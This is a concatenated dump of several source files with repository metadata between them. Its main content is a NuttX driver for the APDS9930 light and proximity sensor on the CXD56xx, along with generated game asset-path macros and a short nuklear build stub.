static const ALIGN_ASSET(2) char object_po_fieldTex_0033F0[] = dobject_po_fieldTex_0033F0;
#define dobject_po_fieldTex_0032F0 "__OTR__objects/object_po_field/object_po_fieldTex_0032F0"
static const ALIGN_ASSET(2) char object_po_fieldTex_0032F0[] = dobject_po_fieldTex_0032F0;
#define dobject_po_fieldTex_003270 "__OTR__objects/object_po_field/object_po_fieldTex_003270"
static const ALIGN_ASSET(2) char object_po_fieldTex_003270[] = dobject_po_fieldTex_003270;
#define dobject_po_fieldTex_002870 "__OTR__objects/object_po_field/object_po_fieldTex_002870"
static const ALIGN_ASSET(2) char object_po_fieldTex_002870[] = dobject_po_fieldTex_002870;
#define dobject_po_fieldTex_0037F0 "__OTR__objects/object_po_field/object_po_fieldTex_0037F0"
static const ALIGN_ASSET(2) char object_po_fieldTex_0037F0[] = dobject_po_fieldTex_0037F0;
#define dobject_po_fieldTex_005AB0 "__OTR__objects/object_po_field/object_po_fieldTex_005AB0"
static const ALIGN_ASSET(2) char object_po_fieldTex_005AB0[] = dobject_po_fieldTex_005AB0;
#define dobject_po_fieldTex_005CB0 "__OTR__objects/object_po_field/object_po_fieldTex_005CB0"
static const ALIGN_ASSET(2) char object_po_fieldTex_005CB0[] = dobject_po_fieldTex_005CB0;
#define dgPoeFieldSkelLimbsLimb_0069A0DL_004F60 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069A0DL_004F60"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069A0DL_004F60[] = dgPoeFieldSkelLimbsLimb_0069A0DL_004F60;
#define dgPoeFieldSkelLimbsLimb_0069ACDL_005288 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069ACDL_005288"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069ACDL_005288[] = dgPoeFieldSkelLimbsLimb_0069ACDL_005288;
#define dgPoeFieldSkelLimbsLimb_0069B8DL_0051A0 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069B8DL_0051A0"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069B8DL_0051A0[] = dgPoeFieldSkelLimbsLimb_0069B8DL_0051A0;
#define dgPoeFieldSkelLimbsLimb_0069C4DL_0050F8 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069C4DL_0050F8"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069C4DL_0050F8[] = dgPoeFieldSkelLimbsLimb_0069C4DL_0050F8;
#define dgPoeFieldSkelLimbsLimb_0069D0DL_005058 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069D0DL_005058"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069D0DL_005058[] = dgPoeFieldSkelLimbsLimb_0069D0DL_005058;
#define dgPoeFieldSkelLimbsLimb_0069DCDL_004D48 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069DCDL_004D48"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069DCDL_004D48[] = dgPoeFieldSkelLimbsLimb_0069DCDL_004D48;
#define dgPoeFieldSkelLimbsLimb_0069F4DL_005328 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_0069F4DL_005328"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_0069F4DL_005328[] = dgPoeFieldSkelLimbsLimb_0069F4DL_005328;
#define dgPoeFieldSkelLimbsLimb_006A00DL_004DF8 "__OTR__objects/object_po_field/gPoeFieldSkelLimbsLimb_006A00DL_004DF8"
static const ALIGN_ASSET(2) char gPoeFieldSkelLimbsLimb_006A00DL_004DF8[] = dgPoeFieldSkelLimbsLimb_006A00DL_004DF8;
#define dobject_po_fieldTex_0035F0 "__OTR__objects/object_po_field/object_po_fieldTex_0035F0"
static const ALIGN_ASSET(2) char object_po_fieldTex_0035F0[] = dobject_po_fieldTex_0035F0;
#define dobject_po_fieldTex_003070 "__OTR__objects/object_po_field/object_po_fieldTex_003070"
static const ALIGN_ASSET(2) char object_po_fieldTex_003070[] = dobject_po_fieldTex_003070;
|
fb100d5b1b2625b373d13729b1a287871152e9b6
|
aa3befea459382dc5c01c925653d54f435b3fb0f
|
/boards/arm/cxd56xx/drivers/sensors/apds9930_scu.c
|
8950e8ae9c86b94356675b73e441983303603559
|
[
"MIT-open-group",
"BSD-3-Clause",
"HPND-sell-variant",
"BSD-4-Clause-UC",
"LicenseRef-scancode-warranty-disclaimer",
"MIT-0",
"LicenseRef-scancode-bsd-atmel",
"LicenseRef-scancode-gary-s-brown",
"LicenseRef-scancode-proprietary-license",
"SunPro",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"LicenseRef-scancode-other-permissive",
"HPND",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"GPL-1.0-or-later",
"CC-BY-2.0",
"CC-BY-4.0"
] |
permissive
|
apache/nuttx
|
14519a7bff4a87935d94fb8fb2b19edb501c7cec
|
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
|
refs/heads/master
| 2023-08-25T06:55:45.822534
| 2023-08-23T16:03:31
| 2023-08-24T21:25:47
| 228,103,273
| 407
| 241
|
Apache-2.0
| 2023-09-14T18:26:05
| 2019-12-14T23:27:55
|
C
|
UTF-8
|
C
| false
| false
| 27,995
|
c
|
apds9930_scu.c
|
/****************************************************************************
* boards/arm/cxd56xx/drivers/sensors/apds9930_scu.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <stdlib.h>
#include <stdio.h>
#include <fixedmath.h>
#include <assert.h>
#include <errno.h>
#include <debug.h>
#include <arch/types.h>
#include <nuttx/kmalloc.h>
#include <nuttx/fs/fs.h>
#include <nuttx/i2c/i2c_master.h>
#include <nuttx/sensors/apds9930.h>
#include <nuttx/irq.h>
#include <arch/chip/scu.h>
#if defined(CONFIG_I2C) && defined(CONFIG_SENSORS_APDS9930_SCU)
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
#define APDS9930_ADDR 0x39 /* I2C Slave Address */
#define APDS9930_DEVICEID 0x39 /* Device ID */
#define APDS9930_ALS_BYTESPERSAMPLE 4
#define APDS9930_PS_BYTESPERSAMPLE 2
#define APDS9930_ELEMENTSIZE 0
/* APDS9930 Registers */
#define APDS9930_CMD_TYPE_REPEAT 0x80
#define APDS9930_CMD_TYPE_AUTOINC 0xA0
#define APDS9930_CMD_TYPE_PSINTCLR 0xE5
#define APDS9930_ENABLE 0x00
#define APDS9930_ATIME 0x01
#define APDS9930_PTIME 0x02
#define APDS9930_WTIME 0x03
#define APDS9930_AILTL 0x04
#define APDS9930_AILTH 0x05
#define APDS9930_AIHTL 0x06
#define APDS9930_AIHTH 0x07
#define APDS9930_PILTL 0x08
#define APDS9930_PILTH 0x09
#define APDS9930_PIHTL 0x0A
#define APDS9930_PIHTH 0x0B
#define APDS9930_PERS 0x0C
#define APDS9930_CONFIG 0x0D
#define APDS9930_PPULSE 0x0E
#define APDS9930_CONTROL 0x0F
#define APDS9930_ID 0x12
#define APDS9930_STATUS 0x13
#define APDS9930_CH0DATAL 0x14
#define APDS9930_CH0DATAH 0x15
#define APDS9930_CH1DATAL 0x16
#define APDS9930_CH1DATAH 0x17
#define APDS9930_PDATAL 0x18
#define APDS9930_PDATAH 0x19
#define APDS9930_POFFSET 0x1E
/* Register ENABLE */
#define APDS9930_ENABLE_SAI (1 << 6)
#define APDS9930_ENABLE_PIEN (1 << 5)
#define APDS9930_ENABLE_AIEN (1 << 4)
#define APDS9930_ENABLE_WEN (1 << 3)
#define APDS9930_ENABLE_PEN (1 << 2)
#define APDS9930_ENABLE_AEN (1 << 1)
#define APDS9930_ENABLE_PON (1 << 0)
#define APDS9930_ENABLE_STANDBY 0x00
/* Register ATIME */
#define APDS9930_ATIME_VAL 0xff
/* Register PTIME */
#define APDS9930_PTIME_VAL 0xff
/* Register WTIME */
#define APDS9930_WTIME_VAL 0xff
/* Register PPULSE */
#define APDS9930_PPULSE_VAL 0x01
/* Register CONTROL */
#define APDS9930_CONTROL_PDRIVE_100MA (0 << 6)
#define APDS9930_CONTROL_PDIODE_CH1 (2 << 4)
#define APDS9930_CONTROL_PGAIN_X1 (0 << 2)
#define APDS9930_CONTROL_AGAIN_X1 (0 << 0)
/* PS threshold default value */
#define APDS9930_PS_HT_DEFAULT 0x0300
#define APDS9930_PS_LT_DEFAULT 0x0300
/* Register PERS */
#define APDS9930_PERS_PS_DEFAULT 2
#define SETENABLE_TYPE_PS 0
#define SETENABLE_TYPE_ALS 1
#ifndef itemsof
# define itemsof(array) (sizeof(array)/sizeof(array[0]))
#endif
/****************************************************************************
* Private Type Definitions
****************************************************************************/
/* Structure for apds9930 device */
struct apds9930_dev_s
{
struct i2c_master_s *i2c; /* I2C interface */
uint8_t addr; /* I2C address */
int port; /* I2C port */
struct seq_s *seq; /* Sequencer instance */
int minor; /* Minor device number */
};
/****************************************************************************
* Private Function Prototypes
****************************************************************************/
/* Character driver methods */
static int apds9930_open_als(struct file *filep);
static int apds9930_open_ps(struct file *filep);
static int apds9930_close_als(struct file *filep);
static int apds9930_close_ps(struct file *filep);
static ssize_t apds9930_read_als(struct file *filep, char *buffer,
size_t buflen);
static ssize_t apds9930_read_ps(struct file *filep, char *buffer,
size_t buflen);
static ssize_t apds9930_write(struct file *filep, const char *buffer,
size_t buflen);
static int apds9930_ioctl_als(struct file *filep, int cmd,
unsigned long arg);
static int apds9930_ioctl_ps(struct file *filep, int cmd,
unsigned long arg);
/****************************************************************************
* Private Data
****************************************************************************/
/* Ambient light sensor */
static const struct file_operations g_apds9930alsfops =
{
apds9930_open_als, /* open */
apds9930_close_als, /* close */
apds9930_read_als, /* read */
apds9930_write, /* write */
NULL, /* seek */
apds9930_ioctl_als, /* ioctl */
};
/* Proximity sensor */
static const struct file_operations g_apds9930psfops =
{
apds9930_open_ps, /* open */
apds9930_close_ps, /* close */
apds9930_read_ps, /* read */
apds9930_write, /* write */
NULL, /* seek */
apds9930_ioctl_ps, /* ioctl */
};
/* SCU instructions for pick ambient light sensing data. */
static const uint16_t g_apds9930alsinst[] =
{
SCU_INST_SEND(APDS9930_CMD_TYPE_AUTOINC | APDS9930_CH0DATAL),
SCU_INST_RECV(APDS9930_ALS_BYTESPERSAMPLE) | SCU_INST_LAST,
};
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
/* SCU instructions for pick proximity sensing data. */
static const uint16_t g_apds9930psinst[] =
{
SCU_INST_SEND(APDS9930_CMD_TYPE_AUTOINC | APDS9930_PDATAL),
SCU_INST_RECV(APDS9930_PS_BYTESPERSAMPLE) | SCU_INST_LAST,
};
#endif
/* Reference count */
static int g_als_refcnt = 0;
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
static int g_ps_refcnt = 0;
#endif
/* Sequencer instance */
static struct seq_s *g_als_seq = NULL;
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
static struct seq_s *g_ps_seq = NULL;
#endif
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
/* Proximity interrupt config */
static uint16_t g_ps_lthreshold = APDS9930_PS_LT_DEFAULT;
static uint16_t g_ps_hthreshold = APDS9930_PS_HT_DEFAULT;
static uint8_t g_ps_persistence = APDS9930_PERS_PS_DEFAULT << 4;
#endif
/****************************************************************************
* Private Functions
****************************************************************************/
/****************************************************************************
* Name: apds9930_getreg8
*
* Description:
* Read from an 8-bit APDS9930 register
*
****************************************************************************/
static uint8_t apds9930_getreg8(struct apds9930_dev_s *priv,
uint8_t regaddr)
{
uint8_t regval = 0;
uint16_t inst[2];
/* Send register to read and get the next byte */
inst[0] = SCU_INST_SEND(APDS9930_CMD_TYPE_REPEAT | regaddr);
inst[1] = SCU_INST_RECV(1) | SCU_INST_LAST;
scu_i2ctransfer(priv->port, priv->addr, inst, 2, ®val, 1);
return regval;
}
/****************************************************************************
* Name: apds9930_putreg8
*
* Description:
* Write to an 8-bit APDS9930 register
*
****************************************************************************/
static void apds9930_putreg8(struct apds9930_dev_s *priv,
uint8_t regaddr, uint8_t regval)
{
uint16_t inst[2];
/* Send register address and set the value */
inst[0] = SCU_INST_SEND(APDS9930_CMD_TYPE_REPEAT | regaddr);
inst[1] = SCU_INST_SEND(regval) | SCU_INST_LAST;
scu_i2ctransfer(priv->port, priv->addr, inst, 2, NULL, 0);
}
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
/****************************************************************************
* Name: apds9930_getreg16
*
* Description:
* Read from an 16-bit APDS9930 register
*
****************************************************************************/
static uint16_t apds9930_getreg16(struct apds9930_dev_s *priv,
uint8_t regaddr)
{
uint16_t regval = 0;
uint16_t inst[2];
/* Send register to read and get the next byte */
inst[0] = SCU_INST_SEND(APDS9930_CMD_TYPE_AUTOINC | regaddr);
inst[1] = SCU_INST_RECV(2) | SCU_INST_LAST;
scu_i2ctransfer(priv->port,
priv->addr,
inst,
2,
(uint8_t *)®val,
2);
return regval;
}
/****************************************************************************
* Name: apds9930_putreg16
*
* Description:
* Write to an 16-bit APDS9930 register
*
****************************************************************************/
static void apds9930_putreg16(struct apds9930_dev_s *priv,
uint8_t regaddr, uint16_t regval)
{
uint16_t inst[3];
/* Send register address and set the value */
inst[0] = SCU_INST_SEND(APDS9930_CMD_TYPE_AUTOINC | regaddr);
inst[1] = SCU_INST_SEND((uint8_t)(regval & 0xff));
inst[2] = SCU_INST_SEND((uint8_t)(regval >> 8)) | SCU_INST_LAST;
scu_i2ctransfer(priv->port, priv->addr, inst, 3, NULL, 0);
}
/****************************************************************************
* Name: apds9930_intclr
*
* Description:
* APDS9930 Interrupt clear
*
****************************************************************************/
static void apds9930_intclr(struct apds9930_dev_s *priv)
{
uint16_t inst = SCU_INST_SEND(APDS9930_CMD_TYPE_PSINTCLR) | SCU_INST_LAST;
/* Send command */
scu_i2ctransfer(priv->port, priv->addr, &inst, 1, NULL, 0);
}
#endif
/****************************************************************************
* Name: apds9930_checkid
*
* Description:
* Read and verify the APDS9930 chip ID
*
****************************************************************************/
static int apds9930_checkid(struct apds9930_dev_s *priv)
{
uint8_t id;
/* Read Device ID */
id = apds9930_getreg8(priv, APDS9930_ID);
if (id != APDS9930_DEVICEID)
{
/* Device ID is not Correct */
snerr("Wrong Device ID! %02x (Exp:%02x)\n", id, APDS9930_DEVICEID);
return -ENODEV;
}
return OK;
}
/****************************************************************************
* Name: apds9930_setenable
*
* Description:
* Set MODE_CONTROL register
*
****************************************************************************/
static void apds9930_setenable(struct apds9930_dev_s *priv,
uint8_t type, bool enable)
{
uint8_t val;
uint8_t checkbit;
uint8_t setbit;
irqstate_t flags;
if (type == SETENABLE_TYPE_PS)
{
checkbit = APDS9930_ENABLE_AEN;
setbit = APDS9930_ENABLE_PEN;
}
else
{
checkbit = APDS9930_ENABLE_PEN;
setbit = APDS9930_ENABLE_AEN;
}
flags = enter_critical_section();
val = apds9930_getreg8(priv, APDS9930_ENABLE);
if (val & checkbit)
{
if (enable)
{
val |= setbit;
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
if (type == SETENABLE_TYPE_PS)
{
val |= APDS9930_ENABLE_PIEN;
}
#endif
}
else
{
val &= ~setbit;
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
if (type == SETENABLE_TYPE_PS)
{
val &= ~APDS9930_ENABLE_PIEN;
}
#endif
}
}
else
{
if (enable)
{
val = APDS9930_ENABLE_PON | APDS9930_ENABLE_WEN | setbit;
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
if (type == SETENABLE_TYPE_PS)
{
val |= APDS9930_ENABLE_PIEN;
}
#endif
}
else
{
val = APDS9930_ENABLE_STANDBY;
}
}
apds9930_putreg8(priv, APDS9930_ENABLE, val);
leave_critical_section(flags);
}
/****************************************************************************
* Name: apds9930als_seqinit
*
* Description:
* Initialize SCU sequencer.
*
****************************************************************************/
static int apds9930als_seqinit(struct apds9930_dev_s *priv)
{
DEBUGASSERT(g_als_seq == NULL);
/* Open sequencer */
g_als_seq = seq_open(SEQ_TYPE_NORMAL, SCU_BUS_I2C0);
if (!g_als_seq)
{
return -ENOENT;
}
priv->seq = g_als_seq;
seq_setaddress(priv->seq, priv->addr);
/* Set instruction and sample data information to sequencer */
seq_setinstruction(priv->seq,
g_apds9930alsinst,
itemsof(g_apds9930alsinst));
seq_setsample(priv->seq,
APDS9930_ALS_BYTESPERSAMPLE,
0,
APDS9930_ELEMENTSIZE,
false);
return OK;
}
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
/****************************************************************************
* Name: apds9930ps_seqinit
*
* Description:
* Initialize SCU sequencer.
*
****************************************************************************/
static int apds9930ps_seqinit(struct apds9930_dev_s *priv)
{
DEBUGASSERT(g_ps_seq == NULL);
/* Open sequencer */
g_ps_seq = seq_open(SEQ_TYPE_NORMAL, SCU_BUS_I2C0);
if (!g_ps_seq)
{
return -ENOENT;
}
priv->seq = g_ps_seq;
seq_setaddress(priv->seq, priv->addr);
/* Set instruction and sample data information to sequencer */
seq_setinstruction(priv->seq,
g_apds9930psinst,
itemsof(g_apds9930psinst));
seq_setsample(priv->seq,
APDS9930_PS_BYTESPERSAMPLE,
0,
APDS9930_ELEMENTSIZE,
false);
return OK;
}
#endif
/****************************************************************************
* Name: apds9930_open_als
*
* Description:
* This function is called whenever the APDS9930 device is opened.
*
****************************************************************************/
static int apds9930_open_als(struct file *filep)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
if (g_als_refcnt == 0)
{
int ret;
ret = apds9930als_seqinit(priv);
if (ret < 0)
{
return ret;
}
apds9930_setenable(priv, SETENABLE_TYPE_ALS, true);
}
else
{
/* Set existing sequencer */
priv->seq = g_als_seq;
}
g_als_refcnt++;
return OK;
}
/****************************************************************************
* Name: apds9930_open_ps
*
* Description:
* This function is called whenever the APDS9930 device is opened.
*
****************************************************************************/
static int apds9930_open_ps(struct file *filep)
{
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
if (g_ps_refcnt == 0)
{
int ret;
ret = apds9930ps_seqinit(priv);
if (ret < 0)
{
return ret;
}
apds9930_setenable(priv, SETENABLE_TYPE_PS, true);
}
else
{
/* Set existing sequencer */
priv->seq = g_ps_seq;
}
g_ps_refcnt++;
#endif
return OK;
}
/****************************************************************************
* Name: apds9930_close_als
*
* Description:
* This routine is called when the APDS9930 device is closed.
*
****************************************************************************/
static int apds9930_close_als(struct file *filep)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
g_als_refcnt--;
seq_ioctl(priv->seq, priv->minor, SCUIOC_STOP, 0);
if (g_als_refcnt == 0)
{
apds9930_setenable(priv, SETENABLE_TYPE_ALS, false);
seq_close(g_als_seq);
g_als_seq = NULL;
}
else
{
seq_ioctl(priv->seq, priv->minor, SCUIOC_FREEFIFO, 0);
}
return OK;
}
/****************************************************************************
* Name: apds9930_close_ps
*
* Description:
* This routine is called when the APDS9930 device is closed.
*
****************************************************************************/
static int apds9930_close_ps(struct file *filep)
{
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
g_ps_refcnt--;
seq_ioctl(priv->seq, priv->minor, SCUIOC_STOP, 0);
if (g_ps_refcnt == 0)
{
apds9930_setenable(priv, SETENABLE_TYPE_PS, false);
if (g_ps_seq)
{
seq_close(g_ps_seq);
g_ps_seq = NULL;
}
}
else
{
seq_ioctl(priv->seq, priv->minor, SCUIOC_FREEFIFO, 0);
}
#endif
return OK;
}
/****************************************************************************
* Name: apds9930_read_als
****************************************************************************/
static ssize_t apds9930_read_als(struct file *filep, char *buffer,
size_t len)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
len = len / APDS9930_ALS_BYTESPERSAMPLE * APDS9930_ALS_BYTESPERSAMPLE;
len = seq_read(priv->seq, priv->minor, buffer, len);
return len;
}
/****************************************************************************
* Name: apds9930_read_ps
****************************************************************************/
static ssize_t apds9930_read_ps(struct file *filep, char *buffer,
size_t len)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
len = len / APDS9930_PS_BYTESPERSAMPLE * APDS9930_PS_BYTESPERSAMPLE;
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
if (len)
{
len = APDS9930_PS_BYTESPERSAMPLE;
*(uint16_t *)buffer = apds9930_getreg16(priv, APDS9930_PDATAL);
}
#else
len = seq_read(priv->seq, priv->minor, buffer, len);
#endif
return len;
}
/****************************************************************************
* Name: apds9930_write
****************************************************************************/
static ssize_t apds9930_write(struct file *filep, const char *buffer,
size_t buflen)
{
return -ENOSYS;
}
/****************************************************************************
* Name: apds9930_ioctl_als
****************************************************************************/
static int apds9930_ioctl_als(struct file *filep, int cmd,
unsigned long arg)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
int ret = OK;
switch (cmd)
{
default:
{
if (_SCUIOCVALID(cmd))
{
/* Redirect SCU commands */
ret = seq_ioctl(priv->seq, priv->minor, cmd, arg);
}
else
{
snerr("Unrecognized cmd: %d\n", cmd);
ret = - ENOTTY;
}
}
break;
}
return ret;
}
/****************************************************************************
* Name: apds9930_ioctl_ps
****************************************************************************/
static int apds9930_ioctl_ps(struct file *filep, int cmd,
unsigned long arg)
{
struct inode *inode = filep->f_inode;
struct apds9930_dev_s *priv = inode->i_private;
int ret = OK;
switch (cmd)
{
#ifdef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
case SNIOC_SETPSLTHRESHOLD:
{
g_ps_lthreshold = (uint16_t)arg;
}
break;
case SNIOC_SETPSHTHRESHOLD:
{
g_ps_hthreshold = (uint16_t)arg;
}
break;
case SNIOC_SETPSPERSISTENCE:
{
g_ps_persistence = ((uint8_t)arg & 0xf) << 4;
}
break;
case SNIOC_STARTPSMEASUREMENT:
{
apds9930_putreg16(priv, APDS9930_PILTL, g_ps_lthreshold);
apds9930_putreg16(priv, APDS9930_PIHTL, g_ps_hthreshold);
apds9930_putreg8(priv, APDS9930_PERS, g_ps_persistence);
apds9930_setenable(priv, SETENABLE_TYPE_PS, true);
}
break;
case SNIOC_STOPPSMEASUREMENT:
{
apds9930_setenable(priv, SETENABLE_TYPE_PS, false);
}
break;
case SNIOC_GETINTSTATUS:
{
uint8_t intstatus = apds9930_getreg8(priv, APDS9930_STATUS);
*(uint8_t *)(uintptr_t)arg = intstatus;
sninfo("Get proximity IntStatus 0x%02x\n", intstatus);
}
break;
case SNIOC_CLEARPSINT:
{
apds9930_intclr(priv);
}
break;
#endif
default:
{
if (_SCUIOCVALID(cmd))
{
#ifndef CONFIG_SENSORS_APDS9930_PROXIMITY_INTERRUPT
/* Redirect SCU commands */
ret = seq_ioctl(priv->seq, priv->minor, cmd, arg);
#else
snerr("Unregistered SCU sequencer cmd: %d\n", cmd);
ret = - ENOTTY;
#endif
}
else
{
snerr("Unrecognized cmd: %d\n", cmd);
ret = - ENOTTY;
}
}
break;
}
return ret;
}
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: apds9930_init
*
* Description:
* Initialize the APDS9930 device
*
* Input Parameters:
* i2c - An instance of the I2C interface to use to communicate with
* APDS9930
* port - I2C port (0 or 1)
*
* Returned Value:
* Zero (OK) on success; a negated errno value on failure.
*
****************************************************************************/
int apds9930_init(struct i2c_master_s *i2c, int port)
{
struct apds9930_dev_s tmp;
struct apds9930_dev_s *priv = &tmp;
int ret;
uint8_t val;
/* Setup temporary device structure for initialization */
priv->i2c = i2c;
priv->addr = APDS9930_ADDR;
priv->port = port;
/* Check Device ID */
ret = apds9930_checkid(priv);
if (ret < 0)
{
snerr("Failed to register driver: %d\n", ret);
return ret;
}
/* Disable and power down */
val = APDS9930_ENABLE_STANDBY;
apds9930_putreg8(priv, APDS9930_ENABLE, val);
/* ALS ADC time */
val = APDS9930_ATIME_VAL;
apds9930_putreg8(priv, APDS9930_ATIME, val);
/* PS ADC time */
val = APDS9930_PTIME_VAL;
apds9930_putreg8(priv, APDS9930_PTIME, val);
/* Wait time */
val = APDS9930_WTIME_VAL;
apds9930_putreg8(priv, APDS9930_WTIME, val);
/* PS Pulse count */
val = APDS9930_PPULSE_VAL;
apds9930_putreg8(priv, APDS9930_PPULSE, val);
/* Control */
val = APDS9930_CONTROL_PDRIVE_100MA | APDS9930_CONTROL_PDIODE_CH1 |
APDS9930_CONTROL_PGAIN_X1 | APDS9930_CONTROL_AGAIN_X1;
apds9930_putreg8(priv, APDS9930_CONTROL, val);
return OK;
}
/****************************************************************************
* Name: apds9930als_register
*
* Description:
* Register the APDS9930 ambient light sensor character device as 'devpath'
*
* Input Parameters:
* devpath - The full path to the driver to register. E.g., "/dev/light0"
* minor - minor device number
* i2c - An instance of the I2C interface to use to communicate with
* APDS9930
* port - I2C port (0 or 1)
*
* Returned Value:
* Zero (OK) on success; a negated errno value on failure.
*
****************************************************************************/
int apds9930als_register(const char *devpath, int minor,
struct i2c_master_s *i2c, int port)
{
struct apds9930_dev_s *priv;
char path[16];
int ret;
/* Initialize the APDS9930 device structure */
priv = (struct apds9930_dev_s *)
kmm_malloc(sizeof(struct apds9930_dev_s));
if (!priv)
{
snerr("Failed to allocate instance\n");
return -ENOMEM;
}
priv->i2c = i2c;
priv->addr = APDS9930_ADDR;
priv->port = port;
priv->seq = NULL;
priv->minor = minor;
/* Register the character driver */
snprintf(path, sizeof(path), "%s%d", devpath, minor);
ret = register_driver(path, &g_apds9930alsfops, 0666, priv);
if (ret < 0)
{
snerr("Failed to register driver: %d\n", ret);
kmm_free(priv);
}
return ret;
}
/****************************************************************************
* Name: apds9930ps_register
*
* Description:
* Register the APDS9930 proximity sensor character device as 'devpath'
*
* Input Parameters:
* devpath - The full path to the driver to register. E.g., "/dev/proxim0"
* minor - minor device number
* i2c - An instance of the I2C interface to use to communicate with
* APDS9930
* port - I2C port (0 or 1)
*
* Returned Value:
* Zero (OK) on success; a negated errno value on failure.
*
****************************************************************************/
int apds9930ps_register(const char *devpath, int minor,
struct i2c_master_s *i2c, int port)
{
struct apds9930_dev_s *priv;
char path[16];
int ret;
/* Initialize the APDS9930 device structure */
priv = (struct apds9930_dev_s *)
kmm_malloc(sizeof(struct apds9930_dev_s));
if (!priv)
{
snerr("Failed to allocate instance\n");
return -ENOMEM;
}
priv->i2c = i2c;
priv->addr = APDS9930_ADDR;
priv->port = port;
priv->seq = NULL;
priv->minor = minor;
/* Register the character driver */
snprintf(path, sizeof(path), "%s%d", devpath, minor);
ret = register_driver(path, &g_apds9930psfops, 0666, priv);
if (ret < 0)
{
snerr("Failed to register driver: %d\n", ret);
kmm_free(priv);
}
sninfo("APDS9930 proximity sensor driver loaded successfully!\n");
return ret;
}
#endif /* CONFIG_I2C && CONFIG_SENSORS_APDS9930_SCU */
|
227b014631291b5523909217b7ab8f1dbb3f6860
|
6f8bf483b372d8bd526698a083309edb50b0bd90
|
/libs/nuklear/nuklear.c
|
cc770fa1462096f10da9cba3e83644fa2382eb7b
|
[
"MIT"
] |
permissive
|
floooh/sokol-samples
|
d48466f0da1b07c57b98733827074289faa335c9
|
578d71daed073dbeb2e5e3d74a3485cf46733cd7
|
refs/heads/master
| 2023-08-31T04:06:28.791638
| 2023-07-26T19:31:00
| 2023-07-26T19:31:00
| 97,253,410
| 496
| 100
|
MIT
| 2023-07-26T19:31:01
| 2017-07-14T16:29:50
|
C
|
UTF-8
|
C
| false
| false
| 936
|
c
|
nuklear.c
|
#define NK_INCLUDE_FIXED_TYPES
#define NK_INCLUDE_STANDARD_IO
#define NK_INCLUDE_DEFAULT_ALLOCATOR
#define NK_INCLUDE_VERTEX_BUFFER_OUTPUT
#define NK_INCLUDE_FONT_BAKING
#define NK_INCLUDE_DEFAULT_FONT
#define NK_INCLUDE_STANDARD_VARARGS
#define NK_IMPLEMENTATION
#if defined(__clang__)
#pragma GCC diagnostic ignored "-Wunknown-warning-option"
#pragma GCC diagnostic ignored "-Wunused-parameter"
#pragma GCC diagnostic ignored "-Wsign-conversion"
#pragma GCC diagnostic ignored "-Wnull-pointer-subtraction"
#pragma GCC diagnostic ignored "-Wunused-but-set-variable"
#endif
#if defined(__GNUC__) && !defined(__clang__)
#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"
#pragma GCC diagnostic ignored "-Wsign-conversion"
#pragma GCC diagnostic ignored "-Wunused-parameter"
#endif
#if defined(_MSC_VER)
#pragma warning(disable:4996) // sprintf,fopen,localtime: This function or variable may be unsafe
#endif
#include "nuklear.h"
|
15efb0c0d6e0225a3f41445707bc2647d43f3725
|
a5a99f646e371b45974a6fb6ccc06b0a674818f2
|
/FWCore/FWLite/test/autoload_with_namespace.C
|
efc858e2084c2e37efe3f6287875f8d78a7227b9
|
[
"Apache-2.0"
] |
permissive
|
cms-sw/cmssw
|
